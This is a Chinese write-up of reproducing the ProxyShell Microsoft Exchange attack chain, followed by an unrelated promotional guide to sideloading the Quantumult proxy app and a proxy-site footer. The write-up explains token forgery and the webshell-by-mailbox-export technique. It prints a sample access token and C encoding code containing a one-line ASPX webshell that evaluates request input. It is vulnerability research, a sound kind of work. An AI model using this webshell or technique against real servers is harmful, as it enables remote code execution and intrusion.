「安全漏洞」ProxyShell漏洞复现详解

注意:免费节点订阅链接已更新至 2025-12-14点击查看详情

前言

几天前,Orange在他的BlackHat演讲中又曝出了两条Microsoft Exchange攻击链,即ProxyOrcale和ProxyShell,前者主要用于Padding Orcale攻击,后者则利用路径混淆漏洞实现任意文件写入并最终执行代码。

本文假设读者已经阅读了Orange的幻灯片,并对ProxyLogon具有基本的了解。

另外,请注意,出于显而易见的原因,这里不会公开相应的exploit。相反,本文旨在分享我在复现RCE漏洞和编写exploit方面的经验。

漏洞链

SSRF

这个攻击是从利用一个SSRF漏洞开始的,该漏洞是由于一些奇怪的URI解析造成的路径混乱所致。

PowerShell端点

然后,通过访问内部网络,我们可以尝试访问/powershell端点,从而实现与Exchange PowerShell之间的通信。请注意,由于Exchange的Powershell环境的缘故,我们可以运行的命令是非常有限的。

通过利用SSRF漏洞,我们就能以NT Authroity/System的身份来访问/powershell端点。这在正常情况下是没有问题的,但在这种情况下,由于无法识别,因此无法通过身份验证。因此,我们需要降低我们的权限来获得对端点的访问权限。

该端点需要一个名为X-CommonAccessToken的HTTP头部,但我相信Exchange不会将这个头部转发到内部后端服务器。然而,我们可以通过另一种方式获得令牌:通过提供一个名为X-Rps-CAT的GET参数,其中存放令牌内容;之后,它将被反序列化并添加为X-CommonAccessToken。

执行PowerShell命令

有了验证自己身份的方法,我们就可以更进一步,尝试实现代码执行。正如我之前所说,由于当前环境下会受到各种限制,因此,我们可以利用的东西很少。但是,却存在这样一个命令:通过它,我们能够在机器的任何位置写入文件……但是,文件只能是PST格式。

但是,PST文件并不是把所有的内容都放以明文形式存放,相反,该格式会将文件内容进行编码,这在微软的官方文件中是有介绍的。

所以,我们可以先对payload进行编码,然后,在生成并被编码PST文件时,会对payload再次进行编码,这将使最终结果保持不变。

同时,因为我们可以提供一个网络共享,这意味着我们可以直接告诉Exchange导出文件到\\127.0.0.1\C$\pathto\shell。这个webshell虽然不是很优雅,但的确能用。

但在这之前,我们需要让我们控制的用户拥有导出邮件的权限。为此,我们需要借助于New-ManagementRoleAssignment,我们可以通过它把邮箱导入导出的角色分配给用户。

发送Payload

解决了这个问题后,我们就可以设法发送有效载荷。由于我们将利用New-MailExportRequest,所以,我们需要向要导出的邮箱里发送一封包含有效载荷的邮件。

我发现,有两种方法可以解决这个问题。其中,一种方法是Orange使用的方法,发送一封邮件到地址,然后导出它。另一种方法,是Peter和Jang在Peter的博客中提出的方法:使用EWS来冒充用户,并将包含有效负载的草稿保存为附件。

我决定采取第二种方法,因为它更加方便。

复现漏洞

在上面的章节中,我已经解释了攻击链的基本概念,现在是时候进行复现了。

SSRF部分其实并不重要,它只是后面所有攻击的入口,但本身并没有什么技术上的挑战。

构造CommonAccessToken

所以,我们需要一个有效的令牌,但真正的问题是:怎样才能获得一个有效的令牌呢?

为了抓取一个令牌示例,我设置了一些断点,拦截了Exchange内部发送的一些请求。最后,得到了下面这样一个令牌:

X-CommonAccessToken:VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZGXEhlYWx0aE1haWxib3g3ZjRiOTM1VS1TLTEtNS0yMS0xOTU2NzE2NjYxLTMwNzcyMTY4MjctMzc2OTU5MzkzLTExMzVHBgAAAAcAAAAsUy0xLTUtMjEtMTk1NjcxNjY2MS0zMDc3MjE2ODI3LTM3Njk1OTM5My01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAIUy0xLTE4LTFFAAAAAA==

很明显,这里使用了base64编码;在解码之后,我决定利用hexdump软件进行观察,因为其中含有数百万个不可打印的字符。

从hexdump中,我们可以看到一些关键字符串:Kerberos、Windows、usernames,以及一些SID。此外,还有一些以单个字母作为前导的数据,这里假设其结构为:Type-Length-Value。

我对一些DLL进行了反汇编,以考察令牌是如何被序列化和反序列化的,并获得一些大致的想法。其中,最令人感兴趣的DLL是Microsoft.Exchange.Security.Authorization.dll。

在Deserialize函数中,我们可以看到V代表版本,T代表类型,C代表压缩的意思。

而E则代表扩展数据的意思。

在WindowsAccessToken中,我们可以找到额外的信息。

其中,A代表认证类型,L代表登录用户,U代表用户SID,最后,G代表组SID。

现在,我们已经知道了令牌的格式,接下来,我们将尝试构建自己的令牌。但现在问题出现了:我们需要一个SID和组SID,对吧?

如果您关注过ProxyLogon的漏洞,就会知道如何去做了。我们可以通过发送一个请求给https://exchange/autodiscover/autodiscover.xml,首先获得传统的域名,然后,使用传统的域名,通过发送另一个请求给https://exchange/mapi/emsmdb/,来找到用户的SID。

那么组SID呢?嗯,在Windows中,用户的SID是唯一的,但组的SID却不是。例如,对于管理员组中的用户,其组SID是S-1-5-32-544。顺便说一下,普通用户的组SID是S-1-5-32-545。

所以,我们基本上掌握了所需的全部信息,那么,我们该如何构建一个令牌呢?对于版本、类型、压缩、授权方面,我们可以保持原样。实际上,我们只需要改变登录名、用户SID以及组SID。

下面是用来生成令牌的部分代码:

我并没有真正弄明白为什么组SID后面总是跟着\x00\x00\x07,在这一点上我真的太懒了。而且,这也不是很重要。

我们已经成功伪造了自己的令牌,现在是时候测试一下,看看能否访问Powershell端点了。

如果响应代码是200,这意味着令牌已经被接受,我们大功告成。否则,则可能需要进行一些调试……

使用远程Powershell

下一个大任务是实现与Powershell端点的通信。实际上,该端点是通过WSMan协议的Powershell进行远程通信的。而WSMan是一个基于HTTP与SOAP XML的协议,如果我们自己动手实现该协议的话,将是一件非常痛苦的事情。

但我们很幸运,有人已经完成了这项艰巨的工作。因为我们可以利用Python库PyPSRP来完成相应的工作。

不过,我们还有一件事需要处理。由于WSMan是直接与目标服务器进行对话的,也就是说,很可能是通过HTTP与exchange:5985端口进行通信的。但我们的情况有点不同。我们需要它与Powershell端点进行通信,而不是其他端口。那么,我们如何实现这一点呢?

首先,我想看看请求是什么样子的,所以,我在自己的机器上设置了一个本地监听器,并发送了一个WinRM请求。在这个测试过程中使用的代码如下所示:

实际上,username、password和auth段其实并不重要,因为这个请求不会发往外部。相反,我们只是想让它发送至127.0.0.1:8080端口,用于测试。

事实证明,这个请求并没有多大区别,我们只需要改变XML数据中的主机字段和一些URI数据即可。

但是,具体该怎么做呢?由于PyPSRP并不支持这种东西,所以,我希望借助于burp,这时我产生了一个想法:我可以为WinRM实现一个本地HTTP代理服务器。

下面是我画的一个简单的示意图:

下面给出HTTP服务器的代码:

在编写exploit时遇到的另一个障碍是线程问题。因为执行到http.service_forever()的时候,服务器就停止了;经过一番研究,我想到一个办法:在另一个线程中启动服务器,这样就好了。

我还想指出,在执行Powershell命令时,一定要进行必要的清理工作,比方说,删除导出请求记录。实际上,有一个Remove-MailboxExportRequest命令,可以用来删除这些记录。


发送Payload

我们需要向Exchange Web Service(EWS)发送一个XML请求,以创建一个带有payload附件的电子邮件草稿。为了节省读者的时间,因为我已经花了一天的时间在这上面,这里直接给出相应的XML模板。它是在Peter提供的payload的基础上改造而成的。

下一个部分代码中含有我们的payload,它实际上就是一行ASPX webshell命令:

下一部分代码,将对payload进行编码,所以,当PST再次进行编码时,将恢复为明文形式的payload。

在微软的页面上,我稍微修改了一下代码,编译并保存了二进制数据,然后对其进行了base64编码。

#include < stdio.h >  #include < windows.h > #include < string.h >   byte mpbbCrypt[] =  {       65,  54,  19,  98, 168,  33, 110, 187,      244,  22, 204,   4, 127, 100, 232,  93,       30, 242, 203,  42, 116, 197,  94,  53,      210, 149,  71, 158, 150,  45, 154, 136,       76, 125, 132,  63, 219, 172,  49, 182,       72,  95, 246, 196, 216,  57, 139, 231,       35,  59,  56, 142, 200, 193, 223,  37,      177,  32, 165,  70,  96,  78, 156, 251,      170, 211,  86,  81,  69, 124,  85,   0,        7, 201,  43, 157, 133, 155,   9, 160,      143, 173, 179,  15,  99, 171, 137,  75,      215, 167,  21,  90, 113, 102,  66, 191,       38,  74, 107, 152, 250, 234, 119,  83,      178, 112,   5,  44, 253,  89,  58, 134,      126, 206,   6, 235, 130, 120,  87, 199,      141,  67, 175, 180,  28, 212,  91, 205,      226, 233,  39,  79, 195,   8, 114, 128,      207, 176, 239, 245,  40, 109, 190,  48,       77,  52, 146, 213,  14,  60,  34,  50,      229, 228, 249, 159, 194, 209,  10, 129,       18, 225, 238, 145, 131, 118, 227, 151,      230,  97, 138,  23, 121, 164, 183, 220,      144, 122,  92, 140,   2, 166, 202, 105,      222,  80,  26,  17, 147, 185,  82, 135,       88, 252, 237,  29,  55,  73,  27, 106,      224,  41,  51, 153, 189, 108, 217, 148,      243,  64,  84, 111, 240, 198, 115, 184,      214,  62, 101,  24,  68,  31, 221, 103,       16, 241,  12,  25, 236, 174,   3, 161,       20, 123, 169,  11, 255, 248, 163, 192,      162,   1, 247,  46, 188,  36, 104, 117,       13, 254, 186,  47, 181, 208, 218,  61,       20,  83,  15,  86, 179, 200, 122, 156,      235, 101,  72,  23,  22,  21, 159,   2,      204,  84, 124, 131,   0,  13,  12,  11,      162,  98, 168, 118, 219, 217, 237, 199,      197, 164, 220, 172, 133, 116, 214, 208,      167, 155, 174, 154, 150, 113, 102, 195,       99, 153, 184, 221, 115, 146, 142, 132,      125, 165,  94, 209,  93, 147, 177,  87,       81,  80, 128, 137,  82, 148,  79,  78,       10, 107, 188, 141, 127, 110,  71,  70,       65,  64,  68,   1,  17, 203,   3,  63,      247, 244, 225, 169, 143,  60,  58, 249,      251, 240,  25,  48, 130,   9,  46, 201,      157, 160, 134,  73, 238, 111,  77, 109,      196,  45, 129,  52,  37, 135,  27, 136,      170, 252,   6, 161,  18,  56, 253,  76,       66, 114, 100,  19,  55,  36, 106, 117,      119,  67, 255, 230, 180,  75,  54,  92,      228, 216,  53,  61,  69, 185,  44, 236,      183,  49,  43,  41,   7, 104, 163,  14,      105, 123,  24, 158,  33,  57, 190,  40,       26,  91, 120, 245,  35, 202,  42, 176,      175,  62, 254,   4, 140, 231, 229, 152,       50, 149, 211, 246,  74, 232, 166, 234,      233, 243, 213,  47, 112,  32, 242,  31,        5, 103, 173,  85,  16, 206, 205, 227,       39,  59, 218, 186, 215, 194,  38, 212,      145,  29, 210,  28,  34,  51, 248, 250,      241,  90, 239, 207, 144, 182, 139, 181,      189, 192, 191,   8, 151,  30, 108, 226,       97, 224, 198, 193,  89, 171, 187,  88,      222,  95, 223,  96, 121, 126, 178, 138,       71, 241, 180, 230,  11, 106, 114,  72,      133,  78, 158, 235, 226, 248, 148,  83,      224, 187, 160,   2, 232,  90,   9, 171,      219, 227, 186, 198, 124, 195,  16, 221,       57,   5, 150,  48, 245,  55,  96, 130,      140, 201,  19,  74, 107,  29, 243, 251,      143,  38, 151, 202, 145,  23,   1, 196,       50,  45, 110,  49, 149, 255, 217,  35,      209,   0,  94, 121, 220,  68,  59,  26,       40, 197,  97,  87,  32, 144,  61, 131,      185,  67, 190, 103, 210,  70,  66, 118,      192, 109,  91, 126, 178,  15,  22,  41,       60, 169,   3,  84,  13, 218,  93, 223,      246, 183, 199,  98, 205, 141,   6, 211,      105,  92, 134, 214,  20, 247, 165, 102,      117, 172, 177, 233,  69,  33, 112,  12,      135, 159, 116, 164,  34,  76, 111, 191,       31,  86, 170,  46, 179, 120,  51,  80,      176, 163, 146, 188, 207,  25,  28, 167,       99, 203,  30,  77,  62,  75,  27, 155,       79, 231, 240, 238, 173,  58, 181,  89,        4, 234,  64,  85,  37,  81, 229, 122,      137,  56, 104,  82, 123, 252,  39, 174,      215, 189, 250,   7, 244, 204, 142,  95,      239,  53, 156, 132,  43,  21, 213, 119,       52,  73, 182,  18,  10, 127, 113, 136,      253, 157,  24,  65, 125, 147, 216,  88,       44, 206, 254,  36, 175, 222, 184,  54,      200, 161, 128, 166, 153, 152, 168,  47,       14, 129, 101, 115, 228, 194, 162, 138,      212, 225,  17, 208,   8, 139,  42, 242,      237, 154, 100,  63, 193, 108, 249, 236  };    #define mpbbR   (mpbbCrypt)  #define mpbbS   (mpbbCrypt + 256)  #define mpbbI   (mpbbCrypt + 512)    void CryptPermute(PVOID pv, int cb, BOOL fEncrypt)  {     // cb -> buffer size     // pv -> buffer     byte *          pb      = (byte *)pv;     byte *          pbTable   = fEncrypt ? mpbbR : mpbbI;     const DWORD *   pdw    = (const DWORD *) pv;     DWORD         dwCurr;     byte         b;       if (cb >= sizeof(DWORD))     {        while (0 != (((DWORD_PTR) pb) % sizeof(DWORD)))        {           *pb = pbTable[*pb];           pb++;           cb--;        }          pdw = (const DWORD *) pb;        for (; cb >= 4; cb -= 4)        {           dwCurr = *pdw;             b = (byte) (dwCurr & 0xFF);           *pb = pbTable[b];           pb++;             dwCurr = dwCurr >> 8;                 b = (byte) (dwCurr & 0xFF);           *pb = pbTable[b];           pb++;             dwCurr = dwCurr >> 8;                 b = (byte) (dwCurr  & 0xFF);           *pb = pbTable[b];           pb++;             dwCurr = dwCurr >> 8;                 b = (byte) (dwCurr  & 0xFF);           *pb = pbTable[b];           pb++;             pdw++;        }          pb = (byte *) pdw;     }       for (; --cb >= 0; ++pb)        *pb = pbTable[*pb]; }     void main(){     char[] payload = "< script language='JScript' runat='server' Page aspcompat=true >function Page_Load(){eval(Request['cmd'],'unsafe');}< /script >";     int length = strlen(payload);     CryptPermute(payload, length, false);     printf(payload);   }

最后,我真的搞不清楚什么是正确的编码方式,只好进行蛮力测试,直到有一个成功为止。

现在,漏洞链的每个部分都搞定了,终于可以把组合在一起进行测试了。

测试结果

尽管webshell有点乱,但借助于正则表达式的威力,我们仍然可以得到一个比较清晰的结果。

小结

这一次,我们根据其他研究人员的论文,实现了自己的漏洞利用方法。说实话,这个攻击链真的很酷,我在利用这个漏洞的过程中学到了很多东西。我非常感谢Peter的文章,也感谢Orange提供的这个惊人的攻击链。希望本文对于大家理解这个漏洞能够有所帮助。

我收集了相关的资料与工具,有需要的朋友可以关注私信我哦!!!

终极指南:Quantumult IPA下载与使用全攻略

引言

在当今数字时代,网络安全与隐私保护已成为用户最关心的问题之一。Quantumult作为一款功能强大的网络代理工具,凭借其出色的性能和灵活的配置选项,赢得了全球用户的青睐。尤其是其IPA版本,让Apple设备用户可以轻松享受高效、安全的网络体验。本文将为你提供一份详尽的Quantumult IPA下载与使用指南,帮助你从零开始掌握这款工具的核心功能,并优化你的网络体验。

什么是Quantumult?

Quantumult是一款专为iOS设备设计的网络代理工具,它不仅支持常见的代理协议(如HTTP、SOCKS5、Shadowsocks等),还具备流量管理、规则自定义、数据压缩等高级功能。无论是用于突破网络限制、优化网络速度,还是保护个人隐私,Quantumult都能提供卓越的解决方案。

为什么选择Quantumult?

  1. 高度自定义:支持用户自定义规则,灵活控制不同应用的网络行为。
  2. 高效流量管理:实时监测网络流量,优化数据使用效率。
  3. 多协议支持:兼容多种代理协议,适应不同的网络环境需求。
  4. 轻量且稳定:相比同类工具,Quantumult占用资源更少,运行更稳定。

Quantumult IPA下载指南

第一步:寻找可靠的下载源

由于Quantumult并非官方App Store上架应用,用户需要通过第三方渠道获取IPA文件。以下是几种常见的下载方式:

  1. 官方开发者渠道:部分开发者会在个人网站或GitHub上提供IPA文件,确保来源可信。
  2. 知名资源站点:如IPA库、越狱社区论坛等,但需注意文件安全性,避免下载被篡改的版本。
  3. AltStore等第三方工具:AltStore允许用户直接安装未上架App Store的应用,同时提供一定的安全验证。

注意:下载IPA文件时务必检查文件签名和哈希值,确保未被植入恶意代码。

第二步:下载Quantumult IPA文件

  1. 访问可信的下载链接(如开发者提供的直链或AltStore源)。
  2. 选择适合设备系统版本的Quantumult IPA文件(不同版本可能功能略有差异)。
  3. 下载完成后,将文件保存至电脑或设备本地存储。

第三步:安装Quantumult IPA

由于iOS系统的限制,直接安装IPA文件需要借助第三方工具。以下是几种常见的安装方法:

方法1:使用AltStore安装

  1. 在电脑上下载并安装AltServer(适用于Windows或Mac)。
  2. 通过USB连接iPhone,并在设备上信任电脑。
  3. 打开AltServer,选择“Install AltStore”到你的设备。
  4. 安装完成后,在iPhone上打开AltStore应用,通过“My Apps”导入Quantumult IPA文件进行安装。

方法2:使用Sideloadly或Cydia Impactor

  1. 下载Sideloadly或Cydia Impactor工具。
  2. 连接设备后,将IPA文件拖入工具界面。
  3. 输入Apple ID(建议使用备用账号以保护隐私),等待安装完成。

第四步:信任开发者证书

安装完成后,需在设备上信任应用:
1. 进入“设置” > “通用” > “设备管理”。
2. 找到对应的开发者证书(如“AltStore”或企业证书)。
3. 点击“信任”以允许应用运行。

第五步:启动与初步配置

  1. 打开Quantumult应用,首次启动时会提示配置代理。
  2. 根据需求选择“全局代理”或“规则代理”模式。
  3. 进入“设置”添加服务器信息(如Shadowsocks或VMess节点)。

Quantumult核心功能详解

1. 代理服务器管理

Quantumult支持多种代理协议,用户可添加多个服务器并灵活切换:
- Shadowsocks:适用于高速翻墙。
- VMess(V2Ray):提供更高的安全性和混淆能力。
- HTTP/SOCKS5:适用于常规代理需求。

2. 规则自定义

通过规则配置,用户可以精确控制哪些应用或网站走代理,哪些直连:
- 分流规则:例如让社交媒体走代理,而国内视频网站直连。
- 域名解析:自定义DNS解析,避免污染。
- 脚本支持:高级用户可通过JavaScript编写复杂规则。

3. 流量监控与优化

  • 实时流量统计:查看当前网络活动,识别高耗流应用。
  • 数据压缩:减少流量消耗,适合蜂窝网络环境。

4. 高级功能

  • MITM(中间人攻击防护):解密HTTPS流量以分析或过滤广告。
  • 延迟测试:自动选择最优服务器节点。

常见问题与解决方案

Q1:Quantumult无法连接代理

  • 检查服务器配置:确保地址、端口、密码填写正确。
  • 切换网络环境:尝试切换Wi-Fi或蜂窝数据。
  • 更新IPA版本:旧版可能存在兼容性问题。

Q2:安装时提示“无法验证应用”

  • 重新信任证书(“设置” > “通用” > “设备管理”)。
  • 使用其他签名工具(如AltStore或企业证书)。

Q3:代理速度慢

  • 更换服务器节点,选择低延迟线路。
  • 启用“UDP转发”或“Fast Open”加速。

总结

Quantumult IPA的下载与使用虽然需要一定的技术基础,但其强大的功能和灵活的配置使其成为iOS用户的首选代理工具。通过本文的详细指南,你可以轻松完成从下载到配置的全过程,并充分利用其高级功能优化网络体验。

最后提醒:网络代理工具的使用需遵守当地法律法规,请合理使用以保护自身隐私与安全。


语言点评

本文以清晰的结构和流畅的语言,将Quantumult IPA的下载、安装、配置及高级功能逐一展开,既适合新手入门,也能满足进阶用户的需求。标题“终极指南”突出了内容的全面性,而小标题的层次划分(如“核心功能详解”“常见问题”)增强了可读性。技术细节的精准描述(如AltStore安装步骤)体现了专业性,同时辅以注意事项(如安全提醒),使文章兼具实用性与权威性。整体语言简洁有力,信息密度高,是一篇优秀的教程类文章范例。

版权声明:

作者: freeclashnode

链接: https://www.freeclashnode.com/news/article-3851.htm

来源: FreeClashNode

文章版权归作者所有,未经允许请勿转载。

免费节点实时更新

热门文章

最新文章

归档